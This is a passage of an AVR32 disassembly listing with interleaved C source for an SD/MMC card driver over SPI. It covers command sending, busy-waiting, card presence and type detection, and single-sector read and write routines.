SD/MMC is not busy. +//! +//! @return bit +//! OK when card is not busy +Bool sd_mmc_spi_wait_not_busy(void) +{ +80002240: d4 21 pushm r4-r7,lr + uint32_t retry; + + // Select the SD_MMC memory gl_ptr_mem points to + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); +80002242: 30 1b mov r11,1 +80002244: fe 7c 24 00 mov r12,-56320 +80002248: f0 1f 00 10 mcall 80002288 +8000224c: 30 07 mov r7,0 + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != 0xFF) +8000224e: e0 65 00 ff mov r5,255 +80002252: 48 f4 lddpc r4,8000228c +80002254: 3f f6 mov r6,-1 +80002256: c0 b8 rjmp 8000226c + { + retry++; +80002258: 2f f7 sub r7,-1 + if (retry == 200000) +8000225a: e2 57 0d 40 cp.w r7,200000 +8000225e: c0 71 brne 8000226c + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); +80002260: 30 1b mov r11,1 +80002262: fe 7c 24 00 mov r12,-56320 +80002266: f0 1f 00 0b mcall 80002290 +8000226a: d8 2a popm r4-r7,pc,r12=0 + uint32_t retry; + + // Select the SD_MMC memory gl_ptr_mem points to + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != 0xFF) +8000226c: 0a 9c mov r12,r5 +8000226e: f0 1f 00 0a mcall 80002294 +80002272: a8 8c st.b r4[0x0],r12 +80002274: ec 0c 18 00 cp.b r12,r6 +80002278: cf 01 brne 80002258 + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); +8000227a: 30 1b mov r11,1 +8000227c: fe 7c 24 00 mov r12,-56320 +80002280: f0 1f 00 04 mcall 80002290 +80002284: da 2a popm r4-r7,pc,r12=1 +80002286: 00 00 add r0,r0 +80002288: 80 00 ld.sh r0,r0[0x0] +8000228a: 30 92 mov r2,9 +8000228c: 00 00 add r0,r0 +8000228e: 04 24 rsub r4,r2 +80002290: 80 00 ld.sh r0,r0[0x0] +80002292: 30 de mov lr,13 +80002294: 80 00 ld.sh r0,r0[0x0] +80002296: 22 0c sub r12,32 + +80002298 : +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> OK +Bool sd_mmc_spi_write_open (uint32_t pos) +{ +80002298: d4 01 pushm lr + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 +8000229a: a9 7c lsl r12,0x9 +8000229c: 48 38 lddpc r8,800022a8 +8000229e: 91 0c st.w r8[0x0],r12 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +800022a0: f0 1f 00 03 mcall 800022ac +} +800022a4: d8 02 popm pc +800022a6: 00 00 add r0,r0 +800022a8: 00 00 add r0,r0 +800022aa: 00 f0 st.b --r0,r0 +800022ac: 80 00 ld.sh r0,r0[0x0] +800022ae: 22 40 sub r0,36 + +800022b0 : + +//! +//! @brief This function unselects the current SD_MMC memory. +//! +Bool sd_mmc_spi_read_close (void) +{ +800022b0: d4 01 pushm lr + if (KO == sd_mmc_spi_wait_not_busy()) +800022b2: f0 1f 00 03 mcall 800022bc + return false; + return true; +} +800022b6: 5f 1c srne r12 +800022b8: d8 02 popm pc +800022ba: 00 00 add r0,r0 +800022bc: 80 00 ld.sh r0,r0[0x0] +800022be: 22 40 sub r0,36 + +800022c0 : +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> OK +Bool sd_mmc_spi_read_open (uint32_t pos) +{ +800022c0: d4 01 pushm lr + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 +800022c2: a9 7c lsl r12,0x9 +800022c4: 48 38 lddpc r8,800022d0 +800022c6: 91 0c st.w r8[0x0],r12 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +800022c8: f0 1f 00 03 mcall 800022d4 +} +800022cc: d8 02 popm pc +800022ce: 00 00 add r0,r0 +800022d0: 00 00 add r0,r0 +800022d2: 00 f0 st.b --r0,r0 +800022d4: 80 00 ld.sh r0,r0[0x0] +800022d6: 22 40 sub r0,36 + +800022d8 : +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF time out error) +uint8_t sd_mmc_spi_command(uint8_t command, uint32_t arg) +{ +800022d8: eb cd 40 f8 pushm r3-r7,lr +800022dc: 18 96 mov r6,r12 +800022de: 16 97 mov r7,r11 + uint8_t retry; + + spi_write(SD_MMC_SPI, 0xFF); // write dummy byte +800022e0: e0 6b 00 ff mov r11,255 +800022e4: fe 7c 24 00 mov r12,-56320 +800022e8: f0 1f 00 2b mcall 80002394 + spi_write(SD_MMC_SPI, command | 0x40); // send command +800022ec: 0c 9b mov r11,r6 +800022ee: a7 ab sbr r11,0x6 +800022f0: 5c 5b castu.b r11 +800022f2: fe 7c 24 00 mov r12,-56320 +800022f6: f0 1f 00 28 mcall 80002394 + spi_write(SD_MMC_SPI, arg>>24); // send parameter +800022fa: ee 0b 16 18 lsr r11,r7,0x18 +800022fe: fe 7c 24 00 mov r12,-56320 +80002302: f0 1f 00 25 mcall 80002394 + spi_write(SD_MMC_SPI, arg>>16); +80002306: ee 0b 16 10 lsr r11,r7,0x10 +8000230a: fe 7c 24 00 mov r12,-56320 +8000230e: f0 1f 00 22 mcall 80002394 + spi_write(SD_MMC_SPI, arg>>8 ); +80002312: f7 d7 c1 10 bfextu r11,r7,0x8,0x10 +80002316: fe 7c 24 00 mov r12,-56320 +8000231a: f0 1f 00 1f mcall 80002394 + spi_write(SD_MMC_SPI, arg ); +8000231e: 0e 9b mov r11,r7 +80002320: 5c 7b castu.h r11 +80002322: fe 7c 24 00 mov r12,-56320 +80002326: f0 1f 00 1c mcall 80002394 + switch(command) +8000232a: 30 08 mov r8,0 +8000232c: f0 06 18 00 cp.b r6,r8 +80002330: c0 60 breq 8000233c +80002332: 30 88 mov r8,8 +80002334: f0 06 18 00 cp.b r6,r8 +80002338: c1 01 brne 80002358 +8000233a: c0 88 rjmp 8000234a + { + case MMC_GO_IDLE_STATE: + spi_write(SD_MMC_SPI, 0x95); +8000233c: e0 6b 00 95 mov r11,149 +80002340: fe 7c 24 00 mov r12,-56320 +80002344: f0 1f 00 14 mcall 80002394 + break; +80002348: c0 e8 rjmp 80002364 + case MMC_SEND_IF_COND: + spi_write(SD_MMC_SPI, 0x87); +8000234a: e0 6b 00 87 mov r11,135 +8000234e: fe 7c 24 00 mov r12,-56320 +80002352: f0 1f 00 11 mcall 80002394 + break; +80002356: c0 78 rjmp 80002364 + default: + spi_write(SD_MMC_SPI, 0xff); +80002358: e0 6b 00 ff mov r11,255 +8000235c: fe 7c 24 00 mov r12,-56320 +80002360: f0 1f 00 0d mcall 80002394 + + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r1 = 0xFF; +80002364: 3f f9 mov r9,-1 +80002366: 48 d8 lddpc r8,80002398 +80002368: b0 89 st.b r8[0x0],r9 +8000236a: 30 07 mov r7,0 + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) +8000236c: e0 64 00 ff mov r4,255 +80002370: 10 93 mov r3,r8 +80002372: 12 96 mov r6,r9 + { + retry++; + if(retry > 10) break; +80002374: 30 b5 mov r5,11 + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r1 = 0xFF; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) +80002376: c0 68 rjmp 80002382 + { + retry++; +80002378: 2f f7 sub r7,-1 +8000237a: 5c 57 castu.b r7 + if(retry > 10) break; +8000237c: ea 07 18 00 cp.b r7,r5 +80002380: c0 80 breq 80002390 + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r1 = 0xFF; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) +80002382: 08 9c mov r12,r4 +80002384: f0 1f 00 06 mcall 8000239c +80002388: a6 8c st.b r3[0x0],r12 +8000238a: ec 0c 18 00 cp.b r12,r6 +8000238e: cf 50 breq 80002378 + { + retry++; + if(retry > 10) break; + } + return r1; +} +80002390: e3 cd 80 f8 ldm sp++,r3-r7,pc +80002394: 80 00 ld.sh r0,r0[0x0] +80002396: 31 c6 mov r6,28 +80002398: 00 00 add r0,r0 +8000239a: 04 24 rsub r4,r2 +8000239c: 80 00 ld.sh r0,r0[0x0] +8000239e: 22 0c sub r12,32 + +800023a0 : +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF if time out error) +uint8_t sd_mmc_spi_send_command(uint8_t command, uint32_t arg) +{ +800023a0: eb cd 40 c0 pushm r6-r7,lr +800023a4: 18 97 mov r7,r12 +800023a6: 16 96 mov r6,r11 + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI +800023a8: 30 1b mov r11,1 +800023aa: fe 7c 24 00 mov r12,-56320 +800023ae: f0 1f 00 09 mcall 800023d0 + r1 = sd_mmc_spi_command(command, arg); +800023b2: 0c 9b mov r11,r6 +800023b4: 0e 9c mov r12,r7 +800023b6: f0 1f 00 08 mcall 800023d4 +800023ba: 48 87 lddpc r7,800023d8 +800023bc: ae 8c st.b r7[0x0],r12 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +800023be: 30 1b mov r11,1 +800023c0: fe 7c 24 00 mov r12,-56320 +800023c4: f0 1f 00 06 mcall 800023dc + return r1; +} +800023c8: 0f 8c ld.ub r12,r7[0x0] +800023ca: e3 cd 80 c0 ldm sp++,r6-r7,pc +800023ce: 00 00 add r0,r0 +800023d0: 80 00 ld.sh r0,r0[0x0] +800023d2: 30 92 mov r2,9 +800023d4: 80 00 ld.sh r0,r0[0x0] +800023d6: 22 d8 sub r8,45 +800023d8: 00 00 add r0,r0 +800023da: 04 24 rsub r4,r2 +800023dc: 80 00 ld.sh r0,r0[0x0] +800023de: 30 de mov lr,13 + +800023e0 : +//! +//! @return bit +//! The memory is present (OK) +//! The memory does not respond (disconnected) (KO) +Bool sd_mmc_spi_check_presence(void) +{ +800023e0: eb cd 40 fe pushm r1-r7,lr + uint16_t retry; + + retry = 0; + if (sd_mmc_spi_init_done == false) +800023e4: 49 a8 lddpc r8,8000244c +800023e6: 11 89 ld.ub r9,r8[0x0] +800023e8: 30 08 mov r8,0 +800023ea: f0 09 18 00 cp.b r9,r8 +800023ee: c1 f1 brne 8000242c +800023f0: 30 07 mov r7,0 + { + // If memory is not initialized, try to initialize it (CMD0) + // If no valid response, there is no card + while ((r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0)) != 0x01) +800023f2: 0e 94 mov r4,r7 +800023f4: 49 73 lddpc r3,80002450 +800023f6: 30 16 mov r6,1 + { + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +800023f8: e0 62 00 ff mov r2,255 +800023fc: fe 71 24 00 mov r1,-56320 + retry++; + if (retry > 10) +80002400: 30 b5 mov r5,11 +80002402: c0 c8 rjmp 8000241a + { + // If memory is not initialized, try to initialize it (CMD0) + // If no valid response, there is no card + while ((r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0)) != 0x01) + { + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002404: 04 9b mov r11,r2 +80002406: 02 9c mov r12,r1 +80002408: f0 1f 00 13 mcall 80002454 + retry++; +8000240c: 2f f7 sub r7,-1 +8000240e: 5c 87 casts.h r7 + if (retry > 10) +80002410: ea 07 19 00 cp.h r7,r5 +80002414: c0 31 brne 8000241a +80002416: e3 cf 80 fe ldm sp++,r1-r7,pc,r12=0 + retry = 0; + if (sd_mmc_spi_init_done == false) + { + // If memory is not initialized, try to initialize it (CMD0) + // If no valid response, there is no card + while ((r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0)) != 0x01) +8000241a: 08 9b mov r11,r4 +8000241c: 08 9c mov r12,r4 +8000241e: f0 1f 00 0f mcall 80002458 +80002422: a6 8c st.b r3[0x0],r12 +80002424: ec 0c 18 00 cp.b r12,r6 +80002428: ce e1 brne 80002404 +8000242a: c0 e8 rjmp 80002446 + return OK; + } + else + { + // If memory already initialized, send a CRC command (CMD59) (supported only if card is initialized) + if ((r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0)) == 0x00) +8000242c: 30 0b mov r11,0 +8000242e: 33 bc mov r12,59 +80002430: f0 1f 00 0a mcall 80002458 +80002434: 48 78 lddpc r8,80002450 +80002436: b0 8c st.b r8[0x0],r12 +80002438: 58 0c cp.w r12,0 +8000243a: c0 60 breq 80002446 + return OK; + sd_mmc_spi_init_done = false; +8000243c: 30 09 mov r9,0 +8000243e: 48 48 lddpc r8,8000244c +80002440: b0 89 st.b r8[0x0],r9 +80002442: e3 cf 80 fe ldm sp++,r1-r7,pc,r12=0 + return KO; +80002446: e3 cf 90 fe ldm sp++,r1-r7,pc,r12=1 +8000244a: 00 00 add r0,r0 +8000244c: 00 00 add r0,r0 +8000244e: 01 08 ld.w r8,r0++ +80002450: 00 00 add r0,r0 +80002452: 04 24 rsub r4,r2 +80002454: 80 00 ld.sh r0,r0[0x0] +80002456: 31 c6 mov r6,28 +80002458: 80 00 ld.sh r0,r0[0x0] +8000245a: 23 a0 sub r0,58 + +8000245c : +//! @return bit +//! The write succeeded -> OK +//! The write failed -> KO +//! +Bool sd_mmc_spi_write_sector_from_ram(const void *ram) +{ +8000245c: eb cd 40 e0 pushm r5-r7,lr +80002460: 18 97 mov r7,r12 + const uint8_t *_ram = ram; + uint16_t i; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) +80002462: f0 1f 00 49 mcall 80002584 +80002466: e0 80 00 8c breq 8000257e + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI +8000246a: 30 1b mov r11,1 +8000246c: fe 7c 24 00 mov r12,-56320 +80002470: f0 1f 00 46 mcall 80002588 + + // issue command + if(card_type == SD_CARD_2_SDHC) { +80002474: 4c 68 lddpc r8,8000258c +80002476: 11 89 ld.ub r9,r8[0x0] +80002478: 30 38 mov r8,3 +8000247a: f0 09 18 00 cp.b r9,r8 +8000247e: c0 a1 brne 80002492 + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem>>9); +80002480: 4c 48 lddpc r8,80002590 +80002482: 70 0b ld.w r11,r8[0x0] +80002484: a9 9b lsr r11,0x9 +80002486: 31 8c mov r12,24 +80002488: f0 1f 00 43 mcall 80002594 +8000248c: 4c 38 lddpc r8,80002598 +8000248e: b0 8c st.b r8[0x0],r12 +80002490: c0 88 rjmp 800024a0 + } else { + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem); +80002492: 4c 08 lddpc r8,80002590 +80002494: 70 0b ld.w r11,r8[0x0] +80002496: 31 8c mov r12,24 +80002498: f0 1f 00 3f mcall 80002594 +8000249c: 4b f8 lddpc r8,80002598 +8000249e: b0 8c st.b r8[0x0],r12 + } + + // check for valid response + if(r1 != 0x00) +800024a0: 4b e8 lddpc r8,80002598 +800024a2: 11 89 ld.ub r9,r8[0x0] +800024a4: 30 08 mov r8,0 +800024a6: f0 09 18 00 cp.b r9,r8 +800024aa: c0 80 breq 800024ba + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); +800024ac: 30 1b mov r11,1 +800024ae: fe 7c 24 00 mov r12,-56320 +800024b2: f0 1f 00 3b mcall 8000259c +800024b6: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 + return KO; + } + // send dummy + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction +800024ba: e0 6b 00 ff mov r11,255 +800024be: fe 7c 24 00 mov r12,-56320 +800024c2: f0 1f 00 38 mcall 800025a0 + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); +800024c6: e0 6b 00 fe mov r11,254 +800024ca: fe 7c 24 00 mov r12,-56320 +800024ce: f0 1f 00 35 mcall 800025a0 +//! +//! @return bit +//! The write succeeded -> OK +//! The write failed -> KO +//! +Bool sd_mmc_spi_write_sector_from_ram(const void *ram) +800024d2: ee c6 fe 00 sub r6,r7,-512 + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + for(i=0;i + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + for(i=0;i + { + spi_write(SD_MMC_SPI,*_ram++); + } + + spi_write(SD_MMC_SPI,0xFF); // send CRC (field required but value ignored) +800024e6: e0 6b 00 ff mov r11,255 +800024ea: fe 7c 24 00 mov r12,-56320 +800024ee: f0 1f 00 2d mcall 800025a0 + spi_write(SD_MMC_SPI,0xFF); +800024f2: e0 6b 00 ff mov r11,255 +800024f6: fe 7c 24 00 mov r12,-56320 +800024fa: f0 1f 00 2a mcall 800025a0 + + // read data response token + r1 = sd_mmc_spi_send_and_read(0xFF); +800024fe: e0 6c 00 ff mov r12,255 +80002502: f0 1f 00 29 mcall 800025a4 +80002506: 4a 58 lddpc r8,80002598 +80002508: b0 8c st.b r8[0x0],r12 + if( (r1&MMC_DR_MASK) != MMC_DR_ACCEPT) +8000250a: f9 dc c0 05 bfextu r12,r12,0x0,0x5 +8000250e: 58 5c cp.w r12,5 +80002510: c1 40 breq 80002538 + { + spi_write(SD_MMC_SPI,0xFF); // send dummy bytes +80002512: e0 6b 00 ff mov r11,255 +80002516: fe 7c 24 00 mov r12,-56320 +8000251a: f0 1f 00 22 mcall 800025a0 + spi_write(SD_MMC_SPI,0xFF); +8000251e: e0 6b 00 ff mov r11,255 +80002522: fe 7c 24 00 mov r12,-56320 +80002526: f0 1f 00 1f mcall 800025a0 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); +8000252a: 30 1b mov r11,1 +8000252c: fe 7c 24 00 mov r12,-56320 +80002530: f0 1f 00 1b mcall 8000259c +80002534: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 + return KO; // return ERROR byte + } + + spi_write(SD_MMC_SPI,0xFF); // send dummy bytes +80002538: e0 6b 00 ff mov r11,255 +8000253c: fe 7c 24 00 mov r12,-56320 +80002540: f0 1f 00 18 mcall 800025a0 + spi_write(SD_MMC_SPI,0xFF); +80002544: e0 6b 00 ff mov r11,255 +80002548: fe 7c 24 00 mov r12,-56320 +8000254c: f0 1f 00 15 mcall 800025a0 + + // release chip select + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +80002550: 30 1b mov r11,1 +80002552: fe 7c 24 00 mov r12,-56320 +80002556: f0 1f 00 12 mcall 8000259c + gl_ptr_mem += 512; // Update the memory pointer. +8000255a: 48 e8 lddpc r8,80002590 +8000255c: 70 09 ld.w r9,r8[0x0] +8000255e: f2 c9 fe 00 sub r9,r9,-512 +80002562: 91 09 st.w r8[0x0],r9 +80002564: 30 07 mov r7,0 + // wait card not busy after last programming operation + i=0; + while (KO == sd_mmc_spi_wait_not_busy()) + { + i++; + if (i == 10) +80002566: 30 a6 mov r6,10 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + gl_ptr_mem += 512; // Update the memory pointer. + + // wait card not busy after last programming operation + i=0; + while (KO == sd_mmc_spi_wait_not_busy()) +80002568: c0 68 rjmp 80002574 + { + i++; +8000256a: 2f f7 sub r7,-1 +8000256c: 5c 87 casts.h r7 + if (i == 10) +8000256e: ec 07 19 00 cp.h r7,r6 +80002572: c0 60 breq 8000257e + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + gl_ptr_mem += 512; // Update the memory pointer. + + // wait card not busy after last programming operation + i=0; + while (KO == sd_mmc_spi_wait_not_busy()) +80002574: f0 1f 00 04 mcall 80002584 +80002578: cf 90 breq 8000256a +8000257a: e3 cf 90 e0 ldm sp++,r5-r7,pc,r12=1 +8000257e: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 +80002582: 00 00 add r0,r0 +80002584: 80 00 ld.sh r0,r0[0x0] +80002586: 22 40 sub r0,36 +80002588: 80 00 ld.sh r0,r0[0x0] +8000258a: 30 92 mov r2,9 +8000258c: 00 00 add r0,r0 +8000258e: 04 12 sub r2,r2 +80002590: 00 00 add r0,r0 +80002592: 00 f0 st.b --r0,r0 +80002594: 80 00 ld.sh r0,r0[0x0] +80002596: 22 d8 sub r8,45 +80002598: 00 00 add r0,r0 +8000259a: 04 24 rsub r4,r2 +8000259c: 80 00 ld.sh r0,r0[0x0] +8000259e: 30 de mov lr,13 +800025a0: 80 00 ld.sh r0,r0[0x0] +800025a2: 31 c6 mov r6,28 +800025a4: 80 00 ld.sh r0,r0[0x0] +800025a6: 22 0c sub r12,32 + +800025a8 : +//! SD_CARD Detected card is SD +//! ERROR + + +int sd_mmc_spi_check_hc(void) +{ +800025a8: eb cd 40 c0 pushm r6-r7,lr + unsigned char hc_bit; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) +800025ac: f0 1f 00 1c mcall 8000261c +800025b0: c0 31 brne 800025b6 +800025b2: e3 cf c0 c0 ldm sp++,r6-r7,pc,r12=-1 + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI +800025b6: 30 1b mov r11,1 +800025b8: fe 7c 24 00 mov r12,-56320 +800025bc: f0 1f 00 19 mcall 80002620 + r1 = sd_mmc_spi_command(SD_READ_OCR, 0); +800025c0: 30 0b mov r11,0 +800025c2: 33 ac mov r12,58 +800025c4: f0 1f 00 18 mcall 80002624 +800025c8: 49 88 lddpc r8,80002628 +800025ca: b0 8c st.b r8[0x0],r12 + // check for valid response + if(r1 != 0) { +800025cc: 58 0c cp.w r12,0 +800025ce: c0 80 breq 800025de + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +800025d0: 30 1b mov r11,1 +800025d2: fe 7c 24 00 mov r12,-56320 +800025d6: f0 1f 00 16 mcall 8000262c +800025da: e3 cf c0 c0 ldm sp++,r6-r7,pc,r12=-1 + return SD_FAILURE; + } + hc_bit = sd_mmc_spi_send_and_read(0xFF); +800025de: e0 6c 00 ff mov r12,255 +800025e2: f0 1f 00 14 mcall 80002630 +800025e6: 18 96 mov r6,r12 + r1 = sd_mmc_spi_send_and_read(0xFF); +800025e8: e0 6c 00 ff mov r12,255 +800025ec: f0 1f 00 11 mcall 80002630 +800025f0: 48 e7 lddpc r7,80002628 +800025f2: ae 8c st.b r7[0x0],r12 + r1 = sd_mmc_spi_send_and_read(0xFF); +800025f4: e0 6c 00 ff mov r12,255 +800025f8: f0 1f 00 0e mcall 80002630 +800025fc: ae 8c st.b r7[0x0],r12 + r1 = sd_mmc_spi_send_and_read(0xFF); +800025fe: e0 6c 00 ff mov r12,255 +80002602: f0 1f 00 0c mcall 80002630 +80002606: ae 8c st.b r7[0x0],r12 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +80002608: 30 1b mov r11,1 +8000260a: fe 7c 24 00 mov r12,-56320 +8000260e: f0 1f 00 08 mcall 8000262c +80002612: f9 d6 c0 c1 bfextu r12,r6,0x6,0x1 + if(hc_bit & 0x40) { + return SDHC_CARD; + } + return 0; +} +80002616: e3 cd 80 c0 ldm sp++,r6-r7,pc +8000261a: 00 00 add r0,r0 +8000261c: 80 00 ld.sh r0,r0[0x0] +8000261e: 22 40 sub r0,36 +80002620: 80 00 ld.sh r0,r0[0x0] +80002622: 30 92 mov r2,9 +80002624: 80 00 ld.sh r0,r0[0x0] +80002626: 22 d8 sub r8,45 +80002628: 00 00 add r0,r0 +8000262a: 04 24 rsub r4,r2 +8000262c: 80 00 ld.sh r0,r0[0x0] +8000262e: 30 de mov lr,13 +80002630: 80 00 ld.sh r0,r0[0x0] +80002632: 22 0c sub r12,32 + +80002634 : +//! OK +//! SD_MMC + + +int sd_mmc_spi_get_if(void) +{ +80002634: eb cd 40 80 pushm r7,lr + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) +80002638: f0 1f 00 27 mcall 800026d4 +8000263c: c0 31 brne 80002642 +8000263e: e3 cf c0 80 ldm sp++,r7,pc,r12=-1 + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI +80002642: 30 1b mov r11,1 +80002644: fe 7c 24 00 mov r12,-56320 +80002648: f0 1f 00 24 mcall 800026d8 + r1 = sd_mmc_spi_command(MMC_SEND_IF_COND, 0x000001AA); +8000264c: e0 6b 01 aa mov r11,426 +80002650: 30 8c mov r12,8 +80002652: f0 1f 00 23 mcall 800026dc +80002656: 4a 38 lddpc r8,800026e0 +80002658: b0 8c st.b r8[0x0],r12 + // check for valid response + if((r1 & MMC_R1_ILLEGAL_COM) != 0) { +8000265a: e2 1c 00 04 andl r12,0x4,COH +8000265e: c0 80 breq 8000266e + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +80002660: 30 1b mov r11,1 +80002662: fe 7c 24 00 mov r12,-56320 +80002666: f0 1f 00 20 mcall 800026e4 +8000266a: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + return SD_MMC; + } + r1 = sd_mmc_spi_send_and_read(0xFF); +8000266e: e0 6c 00 ff mov r12,255 +80002672: f0 1f 00 1e mcall 800026e8 +80002676: 49 b7 lddpc r7,800026e0 +80002678: ae 8c st.b r7[0x0],r12 + r1 = sd_mmc_spi_send_and_read(0xFF); +8000267a: e0 6c 00 ff mov r12,255 +8000267e: f0 1f 00 1b mcall 800026e8 +80002682: ae 8c st.b r7[0x0],r12 + r1 = sd_mmc_spi_send_and_read(0xFF); +80002684: e0 6c 00 ff mov r12,255 +80002688: f0 1f 00 18 mcall 800026e8 +8000268c: ae 8c st.b r7[0x0],r12 + if((r1 & 0x01) == 0) { +8000268e: f9 dc c0 01 bfextu r12,r12,0x0,0x1 +80002692: c0 81 brne 800026a2 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +80002694: 30 1b mov r11,1 +80002696: fe 7c 24 00 mov r12,-56320 +8000269a: f0 1f 00 13 mcall 800026e4 +8000269e: e3 cf c0 80 ldm sp++,r7,pc,r12=-1 + return SD_FAILURE; + } + r1 = sd_mmc_spi_send_and_read(0xFF); +800026a2: e0 6c 00 ff mov r12,255 +800026a6: f0 1f 00 11 mcall 800026e8 +800026aa: 48 e8 lddpc r8,800026e0 +800026ac: b0 8c st.b r8[0x0],r12 + if(r1 != 0xaa) { +800026ae: 3a a8 mov r8,-86 +800026b0: f0 0c 18 00 cp.b r12,r8 +800026b4: c0 80 breq 800026c4 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +800026b6: 30 1b mov r11,1 +800026b8: fe 7c 24 00 mov r12,-56320 +800026bc: f0 1f 00 0a mcall 800026e4 +800026c0: e3 cf c0 80 ldm sp++,r7,pc,r12=-1 + return SD_FAILURE; /* wrong test pattern */ + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +800026c4: 30 1b mov r11,1 +800026c6: fe 7c 24 00 mov r12,-56320 +800026ca: f0 1f 00 07 mcall 800026e4 +800026ce: e3 cf 90 80 ldm sp++,r7,pc,r12=1 +800026d2: 00 00 add r0,r0 +800026d4: 80 00 ld.sh r0,r0[0x0] +800026d6: 22 40 sub r0,36 +800026d8: 80 00 ld.sh r0,r0[0x0] +800026da: 30 92 mov r2,9 +800026dc: 80 00 ld.sh r0,r0[0x0] +800026de: 22 d8 sub r8,45 +800026e0: 00 00 add r0,r0 +800026e2: 04 24 rsub r4,r2 +800026e4: 80 00 ld.sh r0,r0[0x0] +800026e6: 30 de mov lr,13 +800026e8: 80 00 ld.sh r0,r0[0x0] +800026ea: 22 0c sub r12,32 + +800026ec : +//! @return bit +//! The read succeeded -> OK +//! The read failed (bad address, etc.) -> KO +//!/ +Bool sd_mmc_spi_read_sector_to_ram(void *ram) +{ +800026ec: eb cd 40 f8 pushm r3-r7,lr +800026f0: 20 1d sub sp,4 +800026f2: 18 93 mov r3,r12 + uint8_t *_ram = ram; + uint16_t i; + uint16_t read_time_out; + unsigned short data_read; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) +800026f4: f0 1f 00 48 mcall 80002814 +800026f8: e0 80 00 8a breq 8000280c + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI +800026fc: 30 1b mov r11,1 +800026fe: fe 7c 24 00 mov r12,-56320 +80002702: f0 1f 00 46 mcall 80002818 + + // issue command + if(card_type == SD_CARD_2_SDHC) { +80002706: 4c 68 lddpc r8,8000281c +80002708: 11 89 ld.ub r9,r8[0x0] +8000270a: 30 38 mov r8,3 +8000270c: f0 09 18 00 cp.b r9,r8 +80002710: c0 a1 brne 80002724 + r1 = sd_mmc_spi_command(MMC_READ_SINGLE_BLOCK, gl_ptr_mem>>9); +80002712: 4c 48 lddpc r8,80002820 +80002714: 70 0b ld.w r11,r8[0x0] +80002716: a9 9b lsr r11,0x9 +80002718: 31 1c mov r12,17 +8000271a: f0 1f 00 43 mcall 80002824 +8000271e: 4c 38 lddpc r8,80002828 +80002720: b0 8c st.b r8[0x0],r12 +80002722: c0 88 rjmp 80002732 + } else { + r1 = 